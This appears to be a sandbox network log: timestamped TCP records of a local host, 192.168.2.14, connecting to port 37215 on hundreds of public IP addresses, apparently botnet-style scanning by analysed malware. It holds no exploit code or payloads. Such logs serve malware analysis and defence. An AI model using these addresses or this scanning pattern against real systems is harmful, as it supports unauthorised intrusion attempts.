Aug 1, 2024 15:35:02.527051926 CEST	49370	37215	192.168.2.14	156.162.0.16
Aug 1, 2024 15:35:02.527056932 CEST	45038	37215	192.168.2.14	41.116.1.106
Aug 1, 2024 15:35:02.527056932 CEST	53860	37215	192.168.2.14	157.39.249.27
Aug 1, 2024 15:35:02.527069092 CEST	55488	37215	192.168.2.14	157.217.52.236
Aug 1, 2024 15:35:02.527069092 CEST	43110	37215	192.168.2.14	41.0.232.200
Aug 1, 2024 15:35:02.527095079 CEST	56134	37215	192.168.2.14	157.46.221.171
Aug 1, 2024 15:35:02.527107954 CEST	58972	37215	192.168.2.14	157.145.72.30
Aug 1, 2024 15:35:02.527126074 CEST	56934	37215	192.168.2.14	122.99.48.7
Aug 1, 2024 15:35:02.527146101 CEST	34134	37215	192.168.2.14	197.248.225.227
Aug 1, 2024 15:35:02.527165890 CEST	50330	37215	192.168.2.14	41.91.246.102
Aug 1, 2024 15:35:02.527177095 CEST	56134	37215	192.168.2.14	157.46.221.171
Aug 1, 2024 15:35:02.527178049 CEST	58972	37215	192.168.2.14	157.145.72.30
Aug 1, 2024 15:35:02.527189970 CEST	56934	37215	192.168.2.14	122.99.48.7
Aug 1, 2024 15:35:02.527192116 CEST	34134	37215	192.168.2.14	197.248.225.227
Aug 1, 2024 15:35:02.527208090 CEST	50330	37215	192.168.2.14	41.91.246.102
Aug 1, 2024 15:35:02.528003931 CEST	37215	51162	41.225.20.129	192.168.2.14
Aug 1, 2024 15:35:02.528014898 CEST	37215	34002	41.212.19.162	192.168.2.14
Aug 1, 2024 15:35:02.528024912 CEST	37215	33506	41.201.70.233	192.168.2.14
Aug 1, 2024 15:35:02.528036118 CEST	37215	39212	219.216.78.36	192.168.2.14
Aug 1, 2024 15:35:02.528048038 CEST	37215	54426	41.215.173.75	192.168.2.14
Aug 1, 2024 15:35:02.528058052 CEST	37215	39808	157.69.202.15	192.168.2.14
Aug 1, 2024 15:35:02.528067112 CEST	37215	57798	157.89.66.109	192.168.2.14
Aug 1, 2024 15:35:02.528076887 CEST	37215	35570	41.95.152.174	192.168.2.14
Aug 1, 2024 15:35:02.528085947 CEST	37215	37064	197.157.64.128	192.168.2.14
Aug 1, 2024 15:35:02.528095961 CEST	37215	53072	157.119.255.44	192.168.2.14
Aug 1, 2024 15:35:02.528105974 CEST	37215	60784	98.172.95.185	192.168.2.14
Aug 1, 2024 15:35:02.528114080 CEST	57798	37215	192.168.2.14	157.89.66.109
Aug 1, 2024 15:35:02.528119087 CEST	37215	33598	41.10.20.35	192.168.2.14
Aug 1, 2024 15:35:02.528130054 CEST	37215	47106	157.230.8.52	192.168.2.14
Aug 1, 2024 15:35:02.528141022 CEST	37215	37678	157.174.67.71	192.168.2.14
Aug 1, 2024 15:35:02.528151035 CEST	37215	35808	157.207.115.228	192.168.2.14
Aug 1, 2024 15:35:02.528160095 CEST	37215	37894	157.250.141.243	192.168.2.14
Aug 1, 2024 15:35:02.528171062 CEST	37215	54422	197.149.169.45	192.168.2.14
Aug 1, 2024 15:35:02.528181076 CEST	37215	60252	157.20.165.249	192.168.2.14
Aug 1, 2024 15:35:02.528191090 CEST	37215	38818	41.157.27.124	192.168.2.14
Aug 1, 2024 15:35:02.528202057 CEST	37215	34604	213.248.5.88	192.168.2.14
Aug 1, 2024 15:35:02.528213024 CEST	37215	54932	41.159.59.161	192.168.2.14
Aug 1, 2024 15:35:02.528233051 CEST	37215	48212	197.136.227.39	192.168.2.14
Aug 1, 2024 15:35:02.528242111 CEST	37215	52024	157.78.238.12	192.168.2.14
Aug 1, 2024 15:35:02.528250933 CEST	37215	43186	197.90.182.70	192.168.2.14
Aug 1, 2024 15:35:02.528261900 CEST	37215	33994	41.70.244.177	192.168.2.14
Aug 1, 2024 15:35:02.528279066 CEST	37215	40190	157.53.248.63	192.168.2.14
Aug 1, 2024 15:35:02.528289080 CEST	37215	43312	102.130.139.6	192.168.2.14
Aug 1, 2024 15:35:02.528301954 CEST	37215	59074	106.226.177.36	192.168.2.14
Aug 1, 2024 15:35:02.528311014 CEST	37215	52984	41.82.31.72	192.168.2.14
Aug 1, 2024 15:35:02.528321981 CEST	37215	54620	197.184.45.189	192.168.2.14
Aug 1, 2024 15:35:02.528331995 CEST	37215	48334	58.213.26.70	192.168.2.14
Aug 1, 2024 15:35:02.528342962 CEST	37215	43246	157.94.139.23	192.168.2.14
Aug 1, 2024 15:35:02.528352976 CEST	37215	59814	197.163.210.210	192.168.2.14
Aug 1, 2024 15:35:02.528362989 CEST	37215	59918	197.158.238.106	192.168.2.14
Aug 1, 2024 15:35:02.528373003 CEST	37215	59470	41.226.129.177	192.168.2.14
Aug 1, 2024 15:35:02.528383970 CEST	37215	35348	41.245.193.204	192.168.2.14
Aug 1, 2024 15:35:02.528394938 CEST	37215	38834	41.80.251.74	192.168.2.14
Aug 1, 2024 15:35:02.528403997 CEST	37215	50248	41.101.236.196	192.168.2.14
Aug 1, 2024 15:35:02.528414965 CEST	37215	57074	157.102.136.33	192.168.2.14
Aug 1, 2024 15:35:02.528424978 CEST	37215	48280	157.92.249.20	192.168.2.14
Aug 1, 2024 15:35:02.528434038 CEST	37215	56248	41.61.225.250	192.168.2.14
Aug 1, 2024 15:35:02.528446913 CEST	37215	45580	75.19.192.99	192.168.2.14
Aug 1, 2024 15:35:02.528459072 CEST	37215	36072	145.109.38.136	192.168.2.14
Aug 1, 2024 15:35:02.528469086 CEST	37215	38384	157.172.52.250	192.168.2.14
Aug 1, 2024 15:35:02.528479099 CEST	37215	50120	197.119.145.250	192.168.2.14
Aug 1, 2024 15:35:02.528503895 CEST	37215	44810	41.134.240.113	192.168.2.14
Aug 1, 2024 15:35:02.528507948 CEST	38384	37215	192.168.2.14	157.172.52.250
Aug 1, 2024 15:35:02.528513908 CEST	37215	57194	157.39.176.151	192.168.2.14
Aug 1, 2024 15:35:02.528523922 CEST	37215	49954	119.115.156.253	192.168.2.14
Aug 1, 2024 15:35:02.528534889 CEST	37215	51154	197.224.16.123	192.168.2.14
Aug 1, 2024 15:35:02.528546095 CEST	37215	44572	41.63.220.158	192.168.2.14
Aug 1, 2024 15:35:02.528556108 CEST	37215	49568	197.71.188.245	192.168.2.14
Aug 1, 2024 15:35:02.528567076 CEST	37215	52368	157.185.77.161	192.168.2.14
Aug 1, 2024 15:35:02.528577089 CEST	37215	40742	41.171.241.65	192.168.2.14
Aug 1, 2024 15:35:02.528585911 CEST	37215	59818	152.146.93.198	192.168.2.14
Aug 1, 2024 15:35:02.528595924 CEST	37215	33788	131.90.241.26	192.168.2.14
Aug 1, 2024 15:35:02.528608084 CEST	37215	56964	197.245.83.54	192.168.2.14
Aug 1, 2024 15:35:02.528618097 CEST	37215	52594	57.16.56.78	192.168.2.14
Aug 1, 2024 15:35:02.528628111 CEST	37215	53060	41.65.48.115	192.168.2.14
Aug 1, 2024 15:35:02.528637886 CEST	37215	60652	223.202.37.96	192.168.2.14
Aug 1, 2024 15:35:02.528647900 CEST	37215	55406	41.147.126.145	192.168.2.14
Aug 1, 2024 15:35:02.528659105 CEST	37215	35558	131.97.108.101	192.168.2.14
Aug 1, 2024 15:35:02.528667927 CEST	37215	50834	197.100.93.162	192.168.2.14
Aug 1, 2024 15:35:02.528677940 CEST	37215	47182	197.183.175.10	192.168.2.14
Aug 1, 2024 15:35:02.528688908 CEST	37215	41504	41.168.71.95	192.168.2.14
Aug 1, 2024 15:35:02.528712988 CEST	37215	33334	160.68.36.179	192.168.2.14
Aug 1, 2024 15:35:02.528722048 CEST	37215	34782	41.38.132.228	192.168.2.14
Aug 1, 2024 15:35:02.528726101 CEST	41504	37215	192.168.2.14	41.168.71.95
Aug 1, 2024 15:35:02.528733015 CEST	37215	42662	165.37.23.157	192.168.2.14
Aug 1, 2024 15:35:02.528743029 CEST	37215	44914	27.43.102.3	192.168.2.14
Aug 1, 2024 15:35:02.528752089 CEST	37215	57750	148.206.254.144	192.168.2.14
Aug 1, 2024 15:35:02.528762102 CEST	37215	35584	213.90.71.217	192.168.2.14
Aug 1, 2024 15:35:02.528772116 CEST	37215	57798	157.89.66.109	192.168.2.14
Aug 1, 2024 15:35:02.528781891 CEST	37215	42790	157.189.50.111	192.168.2.14
Aug 1, 2024 15:35:02.528789997 CEST	37215	38384	157.172.52.250	192.168.2.14
Aug 1, 2024 15:35:02.528800964 CEST	37215	44404	157.158.60.173	192.168.2.14
Aug 1, 2024 15:35:02.528810978 CEST	37215	41504	41.168.71.95	192.168.2.14
Aug 1, 2024 15:35:02.528820992 CEST	37215	44404	157.158.60.173	192.168.2.14
Aug 1, 2024 15:35:02.528831005 CEST	37215	45808	186.29.197.200	192.168.2.14
Aug 1, 2024 15:35:02.528841972 CEST	37215	43926	197.18.94.122	192.168.2.14
Aug 1, 2024 15:35:02.528851032 CEST	37215	51604	197.16.25.70	192.168.2.14
Aug 1, 2024 15:35:02.528860092 CEST	44404	37215	192.168.2.14	157.158.60.173
Aug 1, 2024 15:35:02.528861046 CEST	37215	37042	157.70.5.235	192.168.2.14
Aug 1, 2024 15:35:02.528872967 CEST	37215	32784	157.3.170.120	192.168.2.14
Aug 1, 2024 15:35:02.528903961 CEST	37215	32808	143.120.75.69	192.168.2.14
Aug 1, 2024 15:35:02.528913021 CEST	37215	45808	186.29.197.200	192.168.2.14
Aug 1, 2024 15:35:02.528923035 CEST	32784	37215	192.168.2.14	157.3.170.120
Aug 1, 2024 15:35:02.528949022 CEST	32808	37215	192.168.2.14	143.120.75.69
Aug 1, 2024 15:35:02.529030085 CEST	32784	37215	192.168.2.14	157.3.170.120
Aug 1, 2024 15:35:02.529041052 CEST	32784	37215	192.168.2.14	157.3.170.120
Aug 1, 2024 15:35:02.529058933 CEST	32808	37215	192.168.2.14	143.120.75.69
Aug 1, 2024 15:35:02.529071093 CEST	32808	37215	192.168.2.14	143.120.75.69
Aug 1, 2024 15:35:02.529118061 CEST	37215	51604	197.16.25.70	192.168.2.14
Aug 1, 2024 15:35:02.529633045 CEST	37215	43926	197.18.94.122	192.168.2.14
Aug 1, 2024 15:35:02.529875994 CEST	37215	50834	197.100.93.162	192.168.2.14
Aug 1, 2024 15:35:02.529933929 CEST	37215	33334	160.68.36.179	192.168.2.14
Aug 1, 2024 15:35:02.529942989 CEST	37215	47182	197.183.175.10	192.168.2.14
Aug 1, 2024 15:35:02.529947042 CEST	37215	34782	41.38.132.228	192.168.2.14
Aug 1, 2024 15:35:02.529958010 CEST	37215	44914	27.43.102.3	192.168.2.14
Aug 1, 2024 15:35:02.529968023 CEST	37215	42662	165.37.23.157	192.168.2.14
Aug 1, 2024 15:35:02.529978037 CEST	37215	37042	157.70.5.235	192.168.2.14
Aug 1, 2024 15:35:02.529988050 CEST	37215	57750	148.206.254.144	192.168.2.14
Aug 1, 2024 15:35:02.529997110 CEST	37215	35584	213.90.71.217	192.168.2.14
Aug 1, 2024 15:35:02.530005932 CEST	37215	57798	157.89.66.109	192.168.2.14
Aug 1, 2024 15:35:02.530014038 CEST	37215	38384	157.172.52.250	192.168.2.14
Aug 1, 2024 15:35:02.530023098 CEST	37215	41504	41.168.71.95	192.168.2.14
Aug 1, 2024 15:35:02.530035019 CEST	37215	44404	157.158.60.173	192.168.2.14
Aug 1, 2024 15:35:02.530045033 CEST	37215	45808	186.29.197.200	192.168.2.14
Aug 1, 2024 15:35:02.530055046 CEST	37215	43926	197.18.94.122	192.168.2.14
Aug 1, 2024 15:35:02.530065060 CEST	37215	51604	197.16.25.70	192.168.2.14
Aug 1, 2024 15:35:02.530073881 CEST	37215	37042	157.70.5.235	192.168.2.14
Aug 1, 2024 15:35:02.530083895 CEST	37215	32874	157.162.88.71	192.168.2.14
Aug 1, 2024 15:35:02.530095100 CEST	37215	57532	13.3.63.219	192.168.2.14
Aug 1, 2024 15:35:02.530123949 CEST	32874	37215	192.168.2.14	157.162.88.71
Aug 1, 2024 15:35:02.530129910 CEST	57532	37215	192.168.2.14	13.3.63.219
Aug 1, 2024 15:35:02.530183077 CEST	32874	37215	192.168.2.14	157.162.88.71
Aug 1, 2024 15:35:02.530205965 CEST	32874	37215	192.168.2.14	157.162.88.71
Aug 1, 2024 15:35:02.530206919 CEST	57532	37215	192.168.2.14	13.3.63.219
Aug 1, 2024 15:35:02.530206919 CEST	57532	37215	192.168.2.14	13.3.63.219
Aug 1, 2024 15:35:02.530293941 CEST	37215	41270	157.151.216.13	192.168.2.14
Aug 1, 2024 15:35:02.530304909 CEST	37215	57740	157.139.110.194	192.168.2.14
Aug 1, 2024 15:35:02.530317068 CEST	37215	60682	41.144.164.184	192.168.2.14
Aug 1, 2024 15:35:02.530327082 CEST	37215	55160	157.18.186.165	192.168.2.14
Aug 1, 2024 15:35:02.530335903 CEST	37215	50834	197.100.93.162	192.168.2.14
Aug 1, 2024 15:35:02.530338049 CEST	41270	37215	192.168.2.14	157.151.216.13
Aug 1, 2024 15:35:02.530344963 CEST	37215	43782	197.188.71.86	192.168.2.14
Aug 1, 2024 15:35:02.530349970 CEST	57740	37215	192.168.2.14	157.139.110.194
Aug 1, 2024 15:35:02.530354977 CEST	37215	37048	80.98.120.6	192.168.2.14
Aug 1, 2024 15:35:02.530363083 CEST	55160	37215	192.168.2.14	157.18.186.165
Aug 1, 2024 15:35:02.530373096 CEST	43782	37215	192.168.2.14	197.188.71.86
Aug 1, 2024 15:35:02.530389071 CEST	37048	37215	192.168.2.14	80.98.120.6
Aug 1, 2024 15:35:02.530400991 CEST	41270	37215	192.168.2.14	157.151.216.13
Aug 1, 2024 15:35:02.530422926 CEST	57740	37215	192.168.2.14	157.139.110.194
Aug 1, 2024 15:35:02.530430079 CEST	37215	35726	41.216.77.130	192.168.2.14
Aug 1, 2024 15:35:02.530431986 CEST	41270	37215	192.168.2.14	157.151.216.13
Aug 1, 2024 15:35:02.530436039 CEST	57740	37215	192.168.2.14	157.139.110.194
Aug 1, 2024 15:35:02.530441046 CEST	37215	38626	197.108.26.212	192.168.2.14
Aug 1, 2024 15:35:02.530446053 CEST	37215	37152	102.18.172.64	192.168.2.14
Aug 1, 2024 15:35:02.530456066 CEST	37215	50394	197.166.2.98	192.168.2.14
Aug 1, 2024 15:35:02.530462027 CEST	55160	37215	192.168.2.14	157.18.186.165
Aug 1, 2024 15:35:02.530467987 CEST	37215	59098	197.58.41.197	192.168.2.14
Aug 1, 2024 15:35:02.530477047 CEST	35726	37215	192.168.2.14	41.216.77.130
Aug 1, 2024 15:35:02.530483961 CEST	37152	37215	192.168.2.14	102.18.172.64
Aug 1, 2024 15:35:02.530484915 CEST	50394	37215	192.168.2.14	197.166.2.98
Aug 1, 2024 15:35:02.530487061 CEST	55160	37215	192.168.2.14	157.18.186.165
Aug 1, 2024 15:35:02.530507088 CEST	59098	37215	192.168.2.14	197.58.41.197
Aug 1, 2024 15:35:02.530507088 CEST	43782	37215	192.168.2.14	197.188.71.86
Aug 1, 2024 15:35:02.530533075 CEST	37048	37215	192.168.2.14	80.98.120.6
Aug 1, 2024 15:35:02.530540943 CEST	43782	37215	192.168.2.14	197.188.71.86
Aug 1, 2024 15:35:02.530549049 CEST	37048	37215	192.168.2.14	80.98.120.6
Aug 1, 2024 15:35:02.530565977 CEST	35726	37215	192.168.2.14	41.216.77.130
Aug 1, 2024 15:35:02.530594110 CEST	37152	37215	192.168.2.14	102.18.172.64
Aug 1, 2024 15:35:02.530600071 CEST	35726	37215	192.168.2.14	41.216.77.130
Aug 1, 2024 15:35:02.530606031 CEST	37152	37215	192.168.2.14	102.18.172.64
Aug 1, 2024 15:35:02.530625105 CEST	50394	37215	192.168.2.14	197.166.2.98
Aug 1, 2024 15:35:02.530639887 CEST	59098	37215	192.168.2.14	197.58.41.197
Aug 1, 2024 15:35:02.530653954 CEST	50394	37215	192.168.2.14	197.166.2.98
Aug 1, 2024 15:35:02.530658007 CEST	59098	37215	192.168.2.14	197.58.41.197
Aug 1, 2024 15:35:02.530951023 CEST	37215	60486	157.77.131.13	192.168.2.14
Aug 1, 2024 15:35:02.531132936 CEST	37215	55728	41.245.108.58	192.168.2.14
Aug 1, 2024 15:35:02.531142950 CEST	37215	47182	197.183.175.10	192.168.2.14
Aug 1, 2024 15:35:02.531147003 CEST	37215	39956	197.238.157.235	192.168.2.14
Aug 1, 2024 15:35:02.531151056 CEST	37215	33334	160.68.36.179	192.168.2.14
Aug 1, 2024 15:35:02.531181097 CEST	55728	37215	192.168.2.14	41.245.108.58
Aug 1, 2024 15:35:02.531208992 CEST	55728	37215	192.168.2.14	41.245.108.58
Aug 1, 2024 15:35:02.531214952 CEST	37215	34782	41.38.132.228	192.168.2.14
Aug 1, 2024 15:35:02.531224966 CEST	55728	37215	192.168.2.14	41.245.108.58
Aug 1, 2024 15:35:02.531225920 CEST	37215	42662	165.37.23.157	192.168.2.14
Aug 1, 2024 15:35:02.531236887 CEST	37215	44914	27.43.102.3	192.168.2.14
Aug 1, 2024 15:35:02.531255960 CEST	37215	57750	148.206.254.144	192.168.2.14
Aug 1, 2024 15:35:02.531265020 CEST	37215	35584	213.90.71.217	192.168.2.14
Aug 1, 2024 15:35:02.531275034 CEST	37215	40764	197.78.47.137	192.168.2.14
Aug 1, 2024 15:35:02.531320095 CEST	40764	37215	192.168.2.14	197.78.47.137
Aug 1, 2024 15:35:02.531347990 CEST	40764	37215	192.168.2.14	197.78.47.137
Aug 1, 2024 15:35:02.531358957 CEST	40764	37215	192.168.2.14	197.78.47.137
Aug 1, 2024 15:35:02.531402111 CEST	37215	50496	157.23.15.161	192.168.2.14
Aug 1, 2024 15:35:02.531719923 CEST	37215	52014	197.145.27.250	192.168.2.14
Aug 1, 2024 15:35:02.531975985 CEST	37215	48266	197.161.10.206	192.168.2.14
Aug 1, 2024 15:35:02.532397032 CEST	37215	54586	41.1.81.129	192.168.2.14
Aug 1, 2024 15:35:02.532407999 CEST	37215	45494	41.18.179.64	192.168.2.14
Aug 1, 2024 15:35:02.532418013 CEST	37215	43288	41.159.247.172	192.168.2.14
Aug 1, 2024 15:35:02.532447100 CEST	37215	58878	157.58.83.213	192.168.2.14
Aug 1, 2024 15:35:02.532491922 CEST	37215	38482	64.232.199.23	192.168.2.14
Aug 1, 2024 15:35:02.532511950 CEST	37215	49370	156.162.0.16	192.168.2.14
Aug 1, 2024 15:35:02.532521963 CEST	37215	45038	41.116.1.106	192.168.2.14
Aug 1, 2024 15:35:02.532541990 CEST	37215	53860	157.39.249.27	192.168.2.14
Aug 1, 2024 15:35:02.532588959 CEST	37215	43110	41.0.232.200	192.168.2.14
Aug 1, 2024 15:35:02.532599926 CEST	37215	55488	157.217.52.236	192.168.2.14
Aug 1, 2024 15:35:02.532685041 CEST	37215	44052	35.89.64.75	192.168.2.14
Aug 1, 2024 15:35:02.532748938 CEST	37215	56134	157.46.221.171	192.168.2.14
Aug 1, 2024 15:35:02.532758951 CEST	37215	58972	157.145.72.30	192.168.2.14
Aug 1, 2024 15:35:02.532779932 CEST	37215	45526	41.57.217.6	192.168.2.14
Aug 1, 2024 15:35:02.532828093 CEST	37215	56934	122.99.48.7	192.168.2.14
Aug 1, 2024 15:35:02.532838106 CEST	37215	34134	197.248.225.227	192.168.2.14
Aug 1, 2024 15:35:02.532938004 CEST	37215	50330	41.91.246.102	192.168.2.14
Aug 1, 2024 15:35:02.533034086 CEST	37215	58600	197.20.235.245	192.168.2.14
Aug 1, 2024 15:35:02.533623934 CEST	37215	42198	116.149.96.0	192.168.2.14
Aug 1, 2024 15:35:02.533637047 CEST	37215	51454	41.240.121.125	192.168.2.14
Aug 1, 2024 15:35:02.534171104 CEST	37215	57798	157.89.66.109	192.168.2.14
Aug 1, 2024 15:35:02.534213066 CEST	37215	38384	157.172.52.250	192.168.2.14
Aug 1, 2024 15:35:02.534224033 CEST	37215	41504	41.168.71.95	192.168.2.14
Aug 1, 2024 15:35:02.534243107 CEST	37215	44404	157.158.60.173	192.168.2.14
Aug 1, 2024 15:35:02.534255981 CEST	37215	57482	197.239.136.142	192.168.2.14
Aug 1, 2024 15:35:02.534476995 CEST	37215	32784	157.3.170.120	192.168.2.14
Aug 1, 2024 15:35:02.534487009 CEST	37215	32808	143.120.75.69	192.168.2.14
Aug 1, 2024 15:35:02.534497023 CEST	37215	43568	107.49.33.59	192.168.2.14
Aug 1, 2024 15:35:02.534706116 CEST	37215	56964	197.91.203.79	192.168.2.14
Aug 1, 2024 15:35:02.535036087 CEST	37215	32874	157.162.88.71	192.168.2.14
Aug 1, 2024 15:35:02.535067081 CEST	37215	57532	13.3.63.219	192.168.2.14
Aug 1, 2024 15:35:02.535084963 CEST	37215	40078	41.231.13.235	192.168.2.14
Aug 1, 2024 15:35:02.535536051 CEST	37215	58534	157.130.206.118	192.168.2.14
Aug 1, 2024 15:35:02.535573959 CEST	37215	41270	157.151.216.13	192.168.2.14
Aug 1, 2024 15:35:02.535584927 CEST	37215	57740	157.139.110.194	192.168.2.14
Aug 1, 2024 15:35:02.535671949 CEST	37215	55160	157.18.186.165	192.168.2.14
Aug 1, 2024 15:35:02.535717964 CEST	37215	59326	157.136.225.164	192.168.2.14
Aug 1, 2024 15:35:02.535728931 CEST	37215	43782	197.188.71.86	192.168.2.14
Aug 1, 2024 15:35:02.535829067 CEST	37215	37048	80.98.120.6	192.168.2.14
Aug 1, 2024 15:35:02.535938025 CEST	37215	35726	41.216.77.130	192.168.2.14
Aug 1, 2024 15:35:02.535979986 CEST	37215	37152	102.18.172.64	192.168.2.14
Aug 1, 2024 15:35:02.535990000 CEST	37215	44898	41.51.28.135	192.168.2.14
Aug 1, 2024 15:35:02.535999060 CEST	37215	50394	197.166.2.98	192.168.2.14
Aug 1, 2024 15:35:02.536163092 CEST	37215	59098	197.58.41.197	192.168.2.14
Aug 1, 2024 15:35:02.536173105 CEST	37215	55728	41.245.108.58	192.168.2.14
Aug 1, 2024 15:35:02.536222935 CEST	37215	40764	197.78.47.137	192.168.2.14
Aug 1, 2024 15:35:02.536232948 CEST	37215	47644	197.52.235.43	192.168.2.14
Aug 1, 2024 15:35:02.536623955 CEST	37215	43764	41.30.96.86	192.168.2.14
Aug 1, 2024 15:35:02.536922932 CEST	37215	43976	96.112.221.147	192.168.2.14
Aug 1, 2024 15:35:02.537062883 CEST	37215	56920	202.207.227.178	192.168.2.14
Aug 1, 2024 15:35:02.537285089 CEST	37215	55432	207.174.238.65	192.168.2.14
Aug 1, 2024 15:35:02.537553072 CEST	37215	60372	157.10.65.187	192.168.2.14
Aug 1, 2024 15:35:02.537741899 CEST	37215	49242	41.115.43.13	192.168.2.14
Aug 1, 2024 15:35:02.537911892 CEST	37215	48390	41.196.91.169	192.168.2.14
Aug 1, 2024 15:35:02.538263083 CEST	37215	60100	157.43.138.151	192.168.2.14
Aug 1, 2024 15:35:02.538275003 CEST	37215	40436	41.44.101.93	192.168.2.14
Aug 1, 2024 15:35:02.538528919 CEST	37215	53714	157.22.175.91	192.168.2.14
Aug 1, 2024 15:35:02.538788080 CEST	37215	51544	157.52.213.73	192.168.2.14
Aug 1, 2024 15:35:02.539074898 CEST	37215	60072	197.220.9.78	192.168.2.14
Aug 1, 2024 15:35:02.539655924 CEST	37215	55946	51.57.195.108	192.168.2.14
Aug 1, 2024 15:35:02.540055990 CEST	37215	42950	157.134.206.212	192.168.2.14
Aug 1, 2024 15:35:02.540795088 CEST	37215	54230	157.192.203.125	192.168.2.14
Aug 1, 2024 15:35:02.541335106 CEST	37215	39514	41.148.54.40	192.168.2.14
Aug 1, 2024 15:35:02.541373968 CEST	37215	38094	197.29.157.243	192.168.2.14
Aug 1, 2024 15:35:02.541383028 CEST	37215	52074	41.176.203.250	192.168.2.14
Aug 1, 2024 15:35:02.541388035 CEST	37215	34002	41.212.19.162	192.168.2.14
Aug 1, 2024 15:35:02.541399002 CEST	37215	51162	41.225.20.129	192.168.2.14
Aug 1, 2024 15:35:02.541409969 CEST	37215	33506	41.201.70.233	192.168.2.14
Aug 1, 2024 15:35:02.542227983 CEST	37215	39212	219.216.78.36	192.168.2.14
Aug 1, 2024 15:35:02.542293072 CEST	37215	54426	41.215.173.75	192.168.2.14
Aug 1, 2024 15:35:02.544243097 CEST	37215	39808	157.69.202.15	192.168.2.14
Aug 1, 2024 15:35:02.544255018 CEST	37215	35570	41.95.152.174	192.168.2.14
Aug 1, 2024 15:35:02.544265032 CEST	37215	37064	197.157.64.128	192.168.2.14
Aug 1, 2024 15:35:02.544275045 CEST	37215	53072	157.119.255.44	192.168.2.14
Aug 1, 2024 15:35:02.544280052 CEST	37215	60784	98.172.95.185	192.168.2.14
Aug 1, 2024 15:35:02.544290066 CEST	37215	33598	41.10.20.35	192.168.2.14
Aug 1, 2024 15:35:02.544308901 CEST	37215	47106	157.230.8.52	192.168.2.14
Aug 1, 2024 15:35:02.544318914 CEST	37215	35808	157.207.115.228	192.168.2.14
Aug 1, 2024 15:35:02.544328928 CEST	37215	37894	157.250.141.243	192.168.2.14
Aug 1, 2024 15:35:02.544339895 CEST	37215	54422	197.149.169.45	192.168.2.14
Aug 1, 2024 15:35:02.544516087 CEST	37215	37678	157.174.67.71	192.168.2.14
Aug 1, 2024 15:35:02.544837952 CEST	37215	60252	157.20.165.249	192.168.2.14
Aug 1, 2024 15:35:02.544847965 CEST	37215	38818	41.157.27.124	192.168.2.14
Aug 1, 2024 15:35:02.545058966 CEST	37215	34604	213.248.5.88	192.168.2.14
Aug 1, 2024 15:35:02.545310020 CEST	37215	52024	157.78.238.12	192.168.2.14
Aug 1, 2024 15:35:02.545505047 CEST	37215	54932	41.159.59.161	192.168.2.14
Aug 1, 2024 15:35:02.545852900 CEST	37215	48212	197.136.227.39	192.168.2.14
Aug 1, 2024 15:35:02.545983076 CEST	37215	33994	41.70.244.177	192.168.2.14
Aug 1, 2024 15:35:02.546300888 CEST	37215	43312	102.130.139.6	192.168.2.14
Aug 1, 2024 15:35:02.546700001 CEST	37215	43186	197.90.182.70	192.168.2.14
Aug 1, 2024 15:35:02.547079086 CEST	37215	40190	157.53.248.63	192.168.2.14
Aug 1, 2024 15:35:02.548847914 CEST	37215	52984	41.82.31.72	192.168.2.14
Aug 1, 2024 15:35:02.548890114 CEST	37215	59074	106.226.177.36	192.168.2.14
Aug 1, 2024 15:35:02.548898935 CEST	37215	54620	197.184.45.189	192.168.2.14
Aug 1, 2024 15:35:02.548903942 CEST	37215	48334	58.213.26.70	192.168.2.14
Aug 1, 2024 15:35:02.548913956 CEST	37215	43246	157.94.139.23	192.168.2.14
Aug 1, 2024 15:35:02.549261093 CEST	37215	59814	197.163.210.210	192.168.2.14
Aug 1, 2024 15:35:02.549612999 CEST	37215	59918	197.158.238.106	192.168.2.14
Aug 1, 2024 15:35:02.549624920 CEST	37215	59470	41.226.129.177	192.168.2.14
Aug 1, 2024 15:35:02.549978018 CEST	37215	35348	41.245.193.204	192.168.2.14
Aug 1, 2024 15:35:02.550595045 CEST	37215	38834	41.80.251.74	192.168.2.14
Aug 1, 2024 15:35:02.551386118 CEST	37215	50248	41.101.236.196	192.168.2.14
Aug 1, 2024 15:35:02.552031994 CEST	37215	57074	157.102.136.33	192.168.2.14
Aug 1, 2024 15:35:02.552251101 CEST	37215	48280	157.92.249.20	192.168.2.14
Aug 1, 2024 15:35:02.553442001 CEST	37215	56248	41.61.225.250	192.168.2.14
Aug 1, 2024 15:35:02.553452969 CEST	37215	45580	75.19.192.99	192.168.2.14
Aug 1, 2024 15:35:02.553463936 CEST	37215	36072	145.109.38.136	192.168.2.14
Aug 1, 2024 15:35:02.553473949 CEST	37215	50120	197.119.145.250	192.168.2.14
Aug 1, 2024 15:35:02.553484917 CEST	37215	44810	41.134.240.113	192.168.2.14
Aug 1, 2024 15:35:02.553908110 CEST	37215	57194	157.39.176.151	192.168.2.14
Aug 1, 2024 15:35:02.553919077 CEST	37215	49954	119.115.156.253	192.168.2.14
Aug 1, 2024 15:35:02.554692984 CEST	37215	51154	197.224.16.123	192.168.2.14
Aug 1, 2024 15:35:02.554791927 CEST	37215	44572	41.63.220.158	192.168.2.14
Aug 1, 2024 15:35:02.555452108 CEST	37215	52368	157.185.77.161	192.168.2.14
Aug 1, 2024 15:35:02.555960894 CEST	37215	40742	41.171.241.65	192.168.2.14
Aug 1, 2024 15:35:02.556010008 CEST	37215	59818	152.146.93.198	192.168.2.14
Aug 1, 2024 15:35:02.556183100 CEST	37215	33788	131.90.241.26	192.168.2.14
Aug 1, 2024 15:35:02.556194067 CEST	37215	56964	197.245.83.54	192.168.2.14
Aug 1, 2024 15:35:02.556304932 CEST	37215	52594	57.16.56.78	192.168.2.14
Aug 1, 2024 15:35:02.557255983 CEST	37215	53060	41.65.48.115	192.168.2.14
Aug 1, 2024 15:35:02.557267904 CEST	37215	60652	223.202.37.96	192.168.2.14
Aug 1, 2024 15:35:02.557280064 CEST	37215	52014	197.145.27.250	192.168.2.14
Aug 1, 2024 15:35:02.559931993 CEST	37215	58878	157.58.83.213	192.168.2.14
Aug 1, 2024 15:35:02.559973001 CEST	37215	49370	156.162.0.16	192.168.2.14
Aug 1, 2024 15:35:02.559983969 CEST	37215	45038	41.116.1.106	192.168.2.14
Aug 1, 2024 15:35:02.559997082 CEST	37215	53860	157.39.249.27	192.168.2.14
Aug 1, 2024 15:35:02.560019970 CEST	37215	43110	41.0.232.200	192.168.2.14
Aug 1, 2024 15:35:02.560029984 CEST	37215	55488	157.217.52.236	192.168.2.14
Aug 1, 2024 15:35:02.560039997 CEST	37215	56134	157.46.221.171	192.168.2.14
Aug 1, 2024 15:35:02.560050964 CEST	37215	58972	157.145.72.30	192.168.2.14
Aug 1, 2024 15:35:02.560062885 CEST	37215	56934	122.99.48.7	192.168.2.14
Aug 1, 2024 15:35:02.560075045 CEST	37215	34134	197.248.225.227	192.168.2.14
